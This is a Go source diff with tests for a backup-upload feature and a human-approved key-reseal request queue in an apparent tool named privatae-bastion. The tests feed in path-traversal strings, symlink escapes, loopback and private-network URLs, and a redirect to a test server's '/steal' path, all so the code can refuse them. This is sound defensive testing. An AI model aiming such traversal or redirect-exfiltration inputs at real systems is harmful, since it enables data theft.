|
||||
if job.State != "failed" || !strings.Contains(job.Error, "sha256 differs") {
|
||||
t.Fatalf("a file that is not the named one: %s %q", job.State, job.Error)
|
||||
}
|
||||
if *method != "" || len(*got) != 0 {
|
||||
t.Fatal("bytes were sent before the digest was checked")
|
||||
}
|
||||
}
|
||||
|
||||
// Bytes changed while they are being sent are caught by the hash taken as
|
||||
// they go: the job fails rather than reporting the named backup sent.
|
||||
func TestBackupPushFailsWhenTheFileChangesWhileSending(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
body := make([]byte, 32<<20)
|
||||
_, sum := pushFixture(t, root, body)
|
||||
path := filepath.Join(root, fixtureData)
|
||||
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
buf := make([]byte, 64<<10)
|
||||
_, _ = io.ReadFull(r.Body, buf)
|
||||
// The tail of the file changes in place while the upload is under way.
|
||||
if f, err := os.OpenFile(path, os.O_WRONLY, 0); err == nil {
|
||||
_, _ = f.WriteAt([]byte(strings.Repeat("X", 4096)), int64(len(body)-4096))
|
||||
_ = f.Close()
|
||||
}
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
w.WriteHeader(200)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
old := http.DefaultTransport
|
||||
http.DefaultTransport = srv.Client().Transport
|
||||
t.Cleanup(func() { http.DefaultTransport = old })
|
||||
job := pushJob(root, sum)
|
||||
runBackupPush(job, srv.URL+"/put", path)
|
||||
if job.State != "failed" || !strings.Contains(job.Error, "changed while it was being sent") {
|
||||
t.Fatalf("a file changed mid-send reads %s %q", job.State, job.Error)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupPushNeverFollowsARedirect(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
_, sum := pushFixture(t, root, []byte("a backup"))
|
||||
var second bool
|
||||
elsewhere := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
second = true
|
||||
}))
|
||||
t.Cleanup(elsewhere.Close)
|
||||
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
// 303 is the redirect an HTTP client follows even for an upload
|
||||
// (as a GET); a client that follows redirects at all would go.
|
||||
http.Redirect(w, r, elsewhere.URL+"/steal", http.StatusSeeOther)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
old := http.DefaultTransport
|
||||
http.DefaultTransport = srv.Client().Transport
|
||||
t.Cleanup(func() { http.DefaultTransport = old })
|
||||
job := pushJob(root, sum)
|
||||
runBackupPush(job, srv.URL+"/put", filepath.Join(root, fixtureData))
|
||||
if second {
|
||||
t.Fatal("the backup followed a redirect to a place the host did not name")
|
||||
}
|
||||
if job.State != "failed" {
|
||||
t.Fatalf("a redirect was reported as sent: %s", job.State)
|
||||
}
|
||||
}
|
||||
|
||||
// A job's error never quotes the signed URL's query.
|
||||
func TestBackupPushErrorsCarryNoSignature(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
_, sum := pushFixture(t, root, []byte("a backup"))
|
||||
// The dial wall is left up: 127.0.0.1 is refused at connect, and the
|
||||
// client's error quotes the URL.
|
||||
job := pushJob(root, sum)
|
||||
runBackupPush(job, "https://127.0.0.1:1/b/x?X-Amz-Signature=SECRETSIG&X-Amz-Credential=CRED", filepath.Join(root, fixtureData))
|
||||
if job.State != "failed" {
|
||||
t.Fatalf("state %s", job.State)
|
||||
}
|
||||
if strings.Contains(job.Error, "SECRETSIG") || strings.Contains(job.Error, "CRED") {
|
||||
t.Fatalf("the job's error quotes the signature: %s", job.Error)
|
||||
}
|
||||
}
|
||||
|
||||
// stubPublicDNS answers every name with a public address, so start's URL
|
||||
// check passes without the network; nothing is dialled in these tests.
|
||||
func stubPublicDNS(t *testing.T) {
|
||||
t.Helper()
|
||||
prev := backupLookupIP
|
||||
backupLookupIP = func(name string) ([]net.IP, error) {
|
||||
if ip := net.ParseIP(name); ip != nil {
|
||||
return []net.IP{ip}, nil
|
||||
}
|
||||
return []net.IP{net.ParseIP("203.0.113.9")}, nil
|
||||
}
|
||||
t.Cleanup(func() { backupLookupIP = prev })
|
||||
}
|
||||
|
||||
func awaitPush(t *testing.T, root, id string) map[string]string {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(10 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
out, _, _ := driveBackupOp(t, "backup_push", "", root, backupPushReq{Op: "status", JobID: id})
|
||||
var st map[string]string
|
||||
_ = json.Unmarshal([]byte(out), &st)
|
||||
if st["state"] != "pending" {
|
||||
return st
|
||||
}
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("push never left pending")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Start answers at once without reading the file: a wrong digest is not a
|
||||
// refusal at start but the job's failure, and the job is this pairing's own.
|
||||
func TestBackupPushStartAnswersAtOnceAndStatusIsPerPairing(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
root := t.TempDir()
|
||||
rel, _ := pushFixture(t, root, []byte("a backup"))
|
||||
out, errOut, code := driveBackupOp(t, "backup_push", "", root,
|
||||
backupPushReq{Op: "start", Path: rel, URL: "https://storage.example/put?sig=1", SHA256: strings.Repeat("ab", 32), Headers: signedPut})
|
||||
if code != 0 {
|
||||
t.Fatalf("start refused: %s", errOut)
|
||||
}
|
||||
var started map[string]string
|
||||
if json.Unmarshal([]byte(out), &started) != nil || started["state"] != "pending" || !strings.HasPrefix(started["job_id"], "bp-") {
|
||||
t.Fatalf("start reply: %s", out)
|
||||
}
|
||||
if !regexp.MustCompile(`^bp-[0-9a-f]{24}$`).MatchString(started["job_id"]) {
|
||||
t.Fatalf("job id %q is short enough to guess", started["job_id"])
|
||||
}
|
||||
st := awaitPush(t, root, started["job_id"])
|
||||
if st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") || st["job_id"] != started["job_id"] {
|
||||
t.Fatalf("the job: %v", st)
|
||||
}
|
||||
other, _, _ := driveBackupOp(t, "backup_push", "", t.TempDir(), backupPushReq{Op: "status", JobID: started["job_id"]})
|
||||
var o map[string]string
|
||||
if json.Unmarshal([]byte(other), &o) != nil || o["state"] != "unknown" || o["error"] != "" {
|
||||
t.Fatalf("another pairing read this job: %s", other)
|
||||
}
|
||||
}
|
||||
|
||||
// Through the real frame path: each refusal happens at start, before any job.
|
||||
func TestBackupPushStartRefuses(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
root := t.TempDir()
|
||||
rel, sum := pushFixture(t, root, []byte("a backup"))
|
||||
outsideDir := t.TempDir()
|
||||
outside := filepath.Join(outsideDir, "20260101T000000Z.tar.zst.age")
|
||||
_ = os.WriteFile(outside, []byte("not this host's"), 0o600)
|
||||
_ = os.Symlink(outside, filepath.Join(root, "20260101T000000Z.tar.zst.age"))
|
||||
_ = os.Symlink(filepath.Join(root, fixtureData), filepath.Join(root, "20260102T000000Z.tar.zst.age"))
|
||||
_ = os.WriteFile(filepath.Join(root, "notes.txt"), []byte("mine"), 0o600)
|
||||
_ = os.MkdirAll(filepath.Join(root, "sub"), 0o700)
|
||||
_ = os.WriteFile(filepath.Join(root, "sub", fixtureData), []byte("a backup"), 0o600)
|
||||
_ = os.Symlink(outsideDir, filepath.Join(root, "linkdir"))
|
||||
type want struct {
|
||||
req backupPushReq
|
||||
why string
|
||||
}
|
||||
u := "https://storage.example/x"
|
||||
cases := map[string]want{
|
||||
"parent escape": {backupPushReq{Op: "start", Path: "../x/" + fixtureData, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
|
||||
"absolute path": {backupPushReq{Op: "start", Path: outside, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
|
||||
"not a backup name": {backupPushReq{Op: "start", Path: "notes.txt", URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
|
||||
"a subfolder": {backupPushReq{Op: "start", Path: "sub/" + fixtureData, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
|
||||
"through a linked dir": {backupPushReq{Op: "start", Path: "linkdir/20260101T000000Z.tar.zst.age", URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
|
||||
"link out of the root": {backupPushReq{Op: "start", Path: "20260101T000000Z.tar.zst.age", URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
|
||||
"link inside the root": {backupPushReq{Op: "start", Path: "20260102T000000Z.tar.zst.age", URL: u, SHA256: sum, Headers: signedPut}, "no backup file"},
|
||||
"missing file": {backupPushReq{Op: "start", Path: "20260103T000000Z.tar.zst.age", URL: u, SHA256: sum, Headers: signedPut}, "no backup file"},
|
||||
"a folder not shared": {backupPushReq{Op: "start", Path: "shared/other/" + fixtureData, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
|
||||
"dot segments": {backupPushReq{Op: "start", Path: "./x/../" + fixtureData, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
|
||||
"bad digest": {backupPushReq{Op: "start", Path: rel, URL: u, SHA256: "abc", Headers: signedPut}, "64 hex"},
|
||||
"plain http": {backupPushReq{Op: "start", Path: rel, URL: "http://storage.example/x", SHA256: sum, Headers: signedPut}, "must be https"},
|
||||
"this machine": {backupPushReq{Op: "start", Path: rel, URL: "https://127.0.0.1/x", SHA256: sum, Headers: signedPut}, "on this machine"},
|
||||
"private network": {backupPushReq{Op: "start", Path: rel, URL: "https://10.1.2.3/x", SHA256: sum, Headers: signedPut}, "on this machine"},
|
||||
"unparseable signature": {backupPushReq{Op: "start", Path: rel, URL: "https://a%zz/x?X-Amz-Signature=SECRETSIG", SHA256: sum, Headers: signedPut}, "backup_push:"},
|
||||
}
|
||||
for name, c := range cases {
|
||||
out, errOut, code := driveBackupOp(t, "backup_push", "", root, c.req)
|
||||
if code == 0 {
|
||||
t.Errorf("%s: started (%s)", name, out)
|
||||
} else if !strings.Contains(errOut, "backup_push:") || !strings.Contains(errOut, c.why) {
|
||||
t.Errorf("%s: refused for the wrong reason: %s", name, errOut)
|
||||
}
|
||||
if strings.Contains(errOut, "SECRETSIG") {
|
||||
t.Errorf("%s: the refusal quotes the signature: %s", name, errOut)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A folder the person shared with this pairing can be sent from; the same
|
||||
// path from a pairing it was not shared with is refused.
|
||||
func TestBackupPushFromASharedFolder(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
const newHost = "new.host.privatae.ai"
|
||||
lost := t.TempDir()
|
||||
body := []byte("the lost host's backup")
|
||||
_, sum := pushFixture(t, lost, body)
|
||||
root := t.TempDir()
|
||||
s, err := addBackupShare(newHost, root, lost, "old-host.example")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p := "shared/" + s.Slug + "/" + fixtureData
|
||||
abs, why := backupResolveFile(newHost, root, p)
|
||||
if why != "" || abs != filepath.Join(lost, fixtureData) {
|
||||
t.Fatalf("the shared file does not resolve: %q %q", abs, why)
|
||||
}
|
||||
other := t.TempDir()
|
||||
if _, err := addBackupShare(newHost, root, other, "another"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, why := backupResolveFile(newHost, root, "shared/another/"+fixtureData); why == "" {
|
||||
t.Fatal("a file named under one shared folder resolved from another")
|
||||
}
|
||||
if _, why := backupResolveFile(newHost, root, "shared/nope/"+fixtureData); why == "" {
|
||||
t.Fatal("a folder that is not shared resolved")
|
||||
}
|
||||
for _, who := range []string{"other.host.privatae.ai", ""} {
|
||||
if _, why := backupResolveFile(who, root, p); why == "" {
|
||||
t.Fatalf("pairing %q, which the folder was not shared with, resolved it", who)
|
||||
}
|
||||
}
|
||||
srv, got, _ := uploadServer(t, 200)
|
||||
job := pushJob(root, sum)
|
||||
runBackupPush(job, srv.URL+"/put", abs)
|
||||
if job.State != "done" || string(*got) != string(body) {
|
||||
t.Fatalf("%s %s", job.State, job.Error)
|
||||
}
|
||||
if err := dropBackupShare(newHost, s.Slug); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, why := backupResolveFile(newHost, root, p); why == "" {
|
||||
t.Fatal("a folder taken back still resolves")
|
||||
}
|
||||
}
|
||||
|
||||
// signedPut is what the platform's backup.put_url hands over with every
|
||||
// upload address, and so what every start in these tests carries.
|
||||
var signedPut = map[string]string{"If-None-Match": "*"}
|
||||
@@ -0,0 +1,231 @@
|
||||
package main
|
||||
|
||||
// Gate: pushes and the background hashing keep their reads of backup folders
|
||||
// in one record. A push is not started in a folder whose hashing read has not
|
||||
// returned, the hashing does not read a folder whose push read has not
|
||||
// returned, and the reads of both count toward the one cap.
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// heldHashes makes the hashing job's read of any file in dirs block until
|
||||
// release, and counts the reads it starts in each folder.
|
||||
type heldHashes struct {
|
||||
mu sync.Mutex
|
||||
reads map[string]int
|
||||
gate chan struct{}
|
||||
once sync.Once
|
||||
}
|
||||
|
||||
func holdHashes(t *testing.T, dirs ...string) *heldHashes {
|
||||
t.Helper()
|
||||
h := &heldHashes{reads: map[string]int{}, gate: make(chan struct{})}
|
||||
dead := map[string]bool{}
|
||||
for _, d := range dirs {
|
||||
dead[d] = true
|
||||
}
|
||||
hashMu.Lock()
|
||||
prevBound := hashJobTimeout
|
||||
hashJobTimeout = 200 * time.Millisecond
|
||||
hashMu.Unlock()
|
||||
quiet := opMaskLog
|
||||
opMaskLog = func(string, ...any) {}
|
||||
prev := hashFileFn
|
||||
hashFileFn = func(p string) (string, int64, error) {
|
||||
d := filepath.Dir(p)
|
||||
h.mu.Lock()
|
||||
h.reads[d]++
|
||||
h.mu.Unlock()
|
||||
if dead[d] {
|
||||
<-h.gate
|
||||
}
|
||||
return hashFile(p)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
h.release()
|
||||
readsIdle(t)
|
||||
eventually(t, "the hashing job ends", func() bool {
|
||||
hashMu.Lock()
|
||||
defer hashMu.Unlock()
|
||||
return !hashRunning
|
||||
})
|
||||
hashFileFn = prev
|
||||
opMaskLog = quiet
|
||||
hashMu.Lock()
|
||||
hashJobTimeout = prevBound
|
||||
hashMu.Unlock()
|
||||
})
|
||||
return h
|
||||
}
|
||||
|
||||
func (h *heldHashes) release() { h.once.Do(func() { close(h.gate) }) }
|
||||
|
||||
func (h *heldHashes) readsIn(dir string) int {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
return h.reads[dir]
|
||||
}
|
||||
|
||||
// readsIdle waits until no read of a backup folder is in flight.
|
||||
func readsIdle(t *testing.T) {
|
||||
t.Helper()
|
||||
eventually(t, "every read of a backup folder returned", func() bool {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
return len(backupReads) == 0
|
||||
})
|
||||
}
|
||||
|
||||
// stuckPast waits until dir has a read in flight past its bound.
|
||||
func stuckPast(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
eventually(t, "a read of "+dir+" is past its bound", func() bool {
|
||||
_, stuck := folderStuck(dir, time.Now(), pushStallBound(), hashBound())
|
||||
return stuck
|
||||
})
|
||||
}
|
||||
|
||||
func TestAPushIsNotStartedInAFolderWhoseHashingReadIsStuck(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
shortPushStall(t)
|
||||
readsIdle(t)
|
||||
root := t.TempDir()
|
||||
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
|
||||
abs := filepath.Join(root, fixtureData)
|
||||
h := holdHashes(t, root)
|
||||
s := newStuckReads(t, root)
|
||||
|
||||
requestHash(abs)
|
||||
eventually(t, "the hashing job reads the file", func() bool { return h.readsIn(root) == 1 })
|
||||
stuckPast(t, root)
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
_, errOut, code := startPush(t, root, rel, sum)
|
||||
if code == 0 || !strings.Contains(errOut,
|
||||
"backup_push: the folder of "+rel+" has not answered the reading of a backup for its digest") {
|
||||
t.Fatalf("start %d in a folder whose hashing read is stuck: %d %s", i, code, errOut)
|
||||
}
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
if n := s.blocked.Load(); n != 0 {
|
||||
t.Fatalf("%d push reads started in a folder whose hashing read is stuck", n)
|
||||
}
|
||||
|
||||
// When the hashing read returns, its digest is kept and a push starts.
|
||||
s.release()
|
||||
h.release()
|
||||
readsIdle(t)
|
||||
awaitHash(t, abs, sum, "the stuck hashing read's digest was not kept when it returned")
|
||||
id := pushStarted(t, root, rel, strings.Repeat("ab", 32))
|
||||
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
|
||||
t.Fatalf("a push once the hashing read returned: %v", st)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTheHashingDoesNotReadAFolderWhosePushReadIsStuck(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
shortPushStall(t)
|
||||
readsIdle(t)
|
||||
dead, live := t.TempDir(), t.TempDir()
|
||||
rel, sum := pushFixture(t, dead, []byte(strings.Repeat("a backup ", 1000)))
|
||||
other := filepath.Join(dead, "20260101T000000Z.tar.zst.age")
|
||||
liveFile := filepath.Join(live, fixtureData)
|
||||
for p, b := range map[string]string{other: "another backup", liveFile: "answers"} {
|
||||
if err := os.WriteFile(p, []byte(b), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
h := holdHashes(t)
|
||||
s := newStuckReads(t, dead)
|
||||
|
||||
mustFailStuck(t, dead, pushStarted(t, dead, rel, sum))
|
||||
stuckPast(t, dead)
|
||||
|
||||
// Asked for a digest in the dead folder, the hashing reads nothing there;
|
||||
// a folder that answers is hashed as usual.
|
||||
requestHash(other)
|
||||
requestHash(liveFile)
|
||||
awaitHash(t, liveFile, sha([]byte("answers")), "the hashing job did not read a folder that answers")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
if n := h.readsIn(dead); n != 0 {
|
||||
t.Fatalf("the hashing read the folder whose push read is stuck %d times", n)
|
||||
}
|
||||
if n := s.blocked.Load(); n != 1 {
|
||||
t.Fatalf("%d reads are blocked on the dead folder; want the push's 1", n)
|
||||
}
|
||||
|
||||
// When the push read returns, the folder is hashed again.
|
||||
s.release()
|
||||
readsIdle(t)
|
||||
requestHash(other)
|
||||
awaitHash(t, other, sha([]byte("another backup")), "the folder was not hashed once its push read returned")
|
||||
}
|
||||
|
||||
func TestStuckHashingAndPushReadsShareTheCap(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
shortPushStall(t)
|
||||
readsIdle(t)
|
||||
capReads(t, 2)
|
||||
hashDead, pushDead, live := t.TempDir(), t.TempDir(), t.TempDir()
|
||||
body := []byte(strings.Repeat("a backup ", 1000))
|
||||
rel, sum := pushFixture(t, hashDead, body)
|
||||
pushFixture(t, pushDead, body)
|
||||
pushFixture(t, live, body)
|
||||
liveOther := filepath.Join(live, "20260101T000000Z.tar.zst.age")
|
||||
if err := os.WriteFile(liveOther, []byte("answers"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := holdHashes(t, hashDead)
|
||||
s := newStuckReads(t, pushDead)
|
||||
|
||||
// One folder's hashing read and another's push read stick: two reads,
|
||||
// the cap.
|
||||
requestHash(filepath.Join(hashDead, fixtureData))
|
||||
eventually(t, "the hashing job reads the dead folder", func() bool { return h.readsIn(hashDead) == 1 })
|
||||
mustFailStuck(t, pushDead, pushStarted(t, pushDead, rel, sum))
|
||||
stuckPast(t, hashDead)
|
||||
stuckPast(t, pushDead)
|
||||
|
||||
// A folder that answers gets neither a push nor a hashing read.
|
||||
for i := 0; i < 3; i++ {
|
||||
_, errOut, code := startPush(t, live, rel, sum)
|
||||
if code == 0 || !strings.Contains(errOut, "backup_push: 2 reads of backup folders have not returned") ||
|
||||
!strings.Contains(errOut, "no push starts on this machine until one does") {
|
||||
t.Fatalf("start %d with the cap held by a hashing read and a push read: %d %s", i, code, errOut)
|
||||
}
|
||||
}
|
||||
requestHash(liveOther)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
if n := h.readsIn(live); n != 0 {
|
||||
t.Fatalf("the hashing read a folder %d times with the cap held", n)
|
||||
}
|
||||
if n, m := s.blocked.Load(), h.readsIn(hashDead); n != 1 || m != 1 {
|
||||
t.Fatalf("%d push reads and %d hashing reads were started on the dead folders; want 1 and 1", n, m)
|
||||
}
|
||||
backupReadMu.Lock()
|
||||
inFlight := readsInFlightLocked()
|
||||
backupReadMu.Unlock()
|
||||
if inFlight != 2 {
|
||||
t.Fatalf("%d reads are in flight; the cap is 2", inFlight)
|
||||
}
|
||||
|
||||
// Once one returns, the folder that answers is served.
|
||||
s.release()
|
||||
eventually(t, "the push read frees its slot", func() bool {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
return readsInFlightLocked() == 1
|
||||
})
|
||||
requestHash(liveOther)
|
||||
awaitHash(t, liveOther, sha([]byte("answers")), "the hashing did not read a folder that answers once under the cap")
|
||||
id := pushStarted(t, live, rel, strings.Repeat("ab", 32))
|
||||
if st := awaitPush(t, live, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
|
||||
t.Fatalf("a push once under the cap: %v", st)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,676 @@
|
||||
package main
|
||||
|
||||
// backupreseal.go — a host asks this machine to reseal one backup's key to
|
||||
// it, and the person decides here.
|
||||
//
|
||||
// The host restoring a backup needs that backup's own key and nothing more.
|
||||
// It sends the sealed sidecar and its own public key (backup_reseal start).
|
||||
// This machine files the request and answers only "pending": nothing is
|
||||
// opened yet. The person sees the request here (`privatae-bastion backup
|
||||
// requests`), in this machine's words — which backup, which host, which key
|
||||
// it would be sealed to — and approves it (`backup approve <id>`). Approving
|
||||
// runs on this machine as the person, with the backup key held here: the
|
||||
// sidecar is opened, checked to be the backup it claims, and the same record
|
||||
// is sealed to the host's key alone. The host collects it (backup_reseal
|
||||
// status). Refusing leaves the host nothing.
|
||||
//
|
||||
// Why a request queue of its own and not the generic per-run approval
|
||||
// (writes.go): that approval gates CHANGES to this machine on an anchored box
|
||||
// and passes everything on a local one. A reseal changes nothing here, but it
|
||||
// hands a host the key to one backup, and that is the person's decision on
|
||||
// every box. And the act needs this bastion's backup key, which only the
|
||||
// person's own session here can read. So the approval and the act are the same step, taken
|
||||
// here. When this pairing has a second factor enrolled, approving also asks
|
||||
// for its code, as `approve` does.
|
||||
//
|
||||
// WHOSE BACKUP. A request is bound to the pairing it came in on, and to the
|
||||
// host number that pairing was given at pairing: the host's tunnel address,
|
||||
// fd00:9::e:<number>, which the platform derives from the host's own entity
|
||||
// and which this machine stored at `pair`.
|
||||
// Nothing the host sends can change it. Every host that shares this
|
||||
// bastion's key holds sidecars of every other such host's backups (a shared
|
||||
// folder, the platform), so a label or a stamp is no proof of whose backup a
|
||||
// sidecar is: the host number inside it is, once opened here. A sidecar of
|
||||
// another host's backup is REFUSED, not shown for the person to catch: host A,
|
||||
// taken over and calling itself B, never gets B's backup key sealed to A.
|
||||
// Restoring a lost host's backups onto the one that replaces it (a different
|
||||
// number) is the person's own act at this machine, `backup restore-plan`
|
||||
// (backupcli.go), not a request a host can file.
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
"unicode/utf8"
|
||||
|
||||
"filippo.io/age"
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
const (
|
||||
resealRequestTTL = 24 * time.Hour
|
||||
// A host files requests into this machine's state; these bound how much
|
||||
// it can file. A restore needs one request per backup it restores, and
|
||||
// the person answers them. They bound the requests WAITING for an
|
||||
// answer: answering one (approve or deny) frees its room at once, as a
|
||||
// request that lapses (a day) does.
|
||||
resealMaxRequests = 16
|
||||
resealMaxBytes = 512 << 10
|
||||
resealLabelMax = 120
|
||||
// An answered request is kept, without the sidecar it came with, so the
|
||||
// host can read the outcome (and a resealed key) until it lapses. Only
|
||||
// the person's answers make them, and at most this many are kept, the
|
||||
// oldest answered going first.
|
||||
resealMaxAnswered = 64
|
||||
)
|
||||
|
||||
type resealRequest struct {
|
||||
ID string `json:"id"`
|
||||
Stamp string `json:"stamp"`
|
||||
// Pairing and HostNumber are this machine's record of who sent it, taken
|
||||
// from the pairing the request came in on; HostLabel is the host's words.
|
||||
Pairing string `json:"pairing"`
|
||||
HostNumber int64 `json:"host_number"`
|
||||
HostLabel string `json:"host_label"`
|
||||
To string `json:"to"` // age1 recipient of the restoring host
|
||||
ToFP string `json:"to_fp"` // its fingerprint, shown to the person
|
||||
Sidecar string `json:"sidecar"` // armored, as the host sent it
|
||||
SidecarSH string `json:"sidecar_sha256"`
|
||||
At string `json:"at"`
|
||||
State string `json:"state"` // pending | done | refused | failed
|
||||
Resealed string `json:"resealed,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DecidedAt string `json:"decided_at,omitempty"`
|
||||
}
|
||||
|
||||
type resealReq struct {
|
||||
Op string `json:"op"` // start | status
|
||||
JobID string `json:"job_id"`
|
||||
Sidecar string `json:"sidecar"`
|
||||
To string `json:"to"`
|
||||
Stamp string `json:"stamp"`
|
||||
HostLabel string `json:"host_label"`
|
||||
}
|
||||
|
||||
var resealMu sync.Mutex
|
||||
|
||||
// resealWho is a pairing as this machine knows it: its name and the host
|
||||
// number it was paired with.
|
||||
type resealWho struct {
|
||||
Name string
|
||||
Number int64
|
||||
}
|
||||
|
||||
// hostNumberOf reads the host number out of a pairing's tunnel address,
|
||||
// fd00:9::e:<number in hex>, as the platform assigns it.
|
||||
// false for any other address: such a pairing cannot be matched to a
|
||||
// backup's host number, and its requests are refused.
|
||||
func hostNumberOf(tunnelIP string) (int64, bool) {
|
||||
a, err := netip.ParseAddr(tunnelIP)
|
||||
if err != nil || !a.Is6() || a.Is4In6() || a.Zone() != "" {
|
||||
return 0, false
|
||||
}
|
||||
b := a.As16()
|
||||
prefix := [14]byte{0xfd, 0x00, 0x00, 0x09, 0, 0, 0, 0, 0, 0, 0, 0, 0x00, 0x0e}
|
||||
if [14]byte(b[:14]) != prefix {
|
||||
return 0, false
|
||||
}
|
||||
n := int64(b[14])<<8 | int64(b[15])
|
||||
return n, n > 0
|
||||
}
|
||||
|
||||
// resealPairing is the pairing self as this machine has it on disk. An
|
||||
// anonymous caller, a pairing that is not here, not active, or has no host
|
||||
// number is refused: a request must be bound to a host.
|
||||
func resealPairing(self string) (resealWho, error) {
|
||||
if self == "" {
|
||||
return resealWho{}, errors.New("a restore request is taken only from a paired host")
|
||||
}
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil {
|
||||
return resealWho{}, fmt.Errorf("the pairings on this machine are unreadable: %w", err)
|
||||
}
|
||||
for _, c := range cfgs {
|
||||
if c.HostName == self {
|
||||
return resealWhoOf(c)
|
||||
}
|
||||
}
|
||||
return resealWho{}, fmt.Errorf("%s is not paired with this machine", self)
|
||||
}
|
||||
|
||||
func resealWhoOf(c *Config) (resealWho, error) {
|
||||
if !c.active() {
|
||||
return resealWho{}, fmt.Errorf("the pairing %s is %s", c.HostName, c.stateName())
|
||||
}
|
||||
n, ok := hostNumberOf(c.HostTunnelIP)
|
||||
if !ok {
|
||||
return resealWho{}, fmt.Errorf("the pairing %s has no host number (its tunnel address is %q), so no backup "+
|
||||
"can be matched to it; pair it again", c.HostName, c.HostTunnelIP)
|
||||
}
|
||||
return resealWho{Name: c.HostName, Number: n}, nil
|
||||
}
|
||||
|
||||
// resealBindingProblem is a refusal when the request was not filed by the
|
||||
// pairing who, or the backup the sidecar holds is not that host's own.
|
||||
func resealBindingProblem(r *resealRequest, sc *backupSidecar, who resealWho) string {
|
||||
if r.Pairing != who.Name || r.HostNumber != who.Number || who.Number <= 0 {
|
||||
return fmt.Sprintf("refused: this request was filed by the pairing %q (host number %d), not by %s "+
|
||||
"(host number %d)", r.Pairing, r.HostNumber, who.Name, who.Number)
|
||||
}
|
||||
if sc != nil && sc.EntityID != who.Number {
|
||||
return fmt.Sprintf("refused: this is the backup of host number %d, and the request came from %s, which is "+
|
||||
"host number %d. A host is given only its own backups' keys. To restore another host's backup onto "+
|
||||
"this one, run `privatae-bastion backup restore-plan` here yourself", sc.EntityID, who.Name, who.Number)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func resealPath(dir string) string { return filepath.Join(dir, "backup_reseal.json") }
|
||||
|
||||
// withResealLock runs fn holding the pairing's request file for itself. Two
|
||||
// processes write that file: the daemon files requests, and `backup approve`
|
||||
// and `deny` decide them in the person's own process. resealMu covers the
|
||||
// goroutines of one process; the lock file (flock, LockFileEx on Windows)
|
||||
// covers both processes, so a request filed while the person decides is not
|
||||
// dropped, and a decision is not reverted by a stale copy. Every write is
|
||||
// atomic (atomicWrite: temp file, then rename), so a reader never sees half
|
||||
// a file.
|
||||
func withResealLock(dir string, fn func() error) error {
|
||||
resealMu.Lock()
|
||||
defer resealMu.Unlock()
|
||||
lf, err := os.OpenFile(filepath.Join(dir, "backup_reseal.lock"), os.O_CREATE|os.O_RDWR, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer lf.Close() // closing releases the lock
|
||||
if err := flockFile(lf); err != nil {
|
||||
return err
|
||||
}
|
||||
return fn()
|
||||
}
|
||||
|
||||
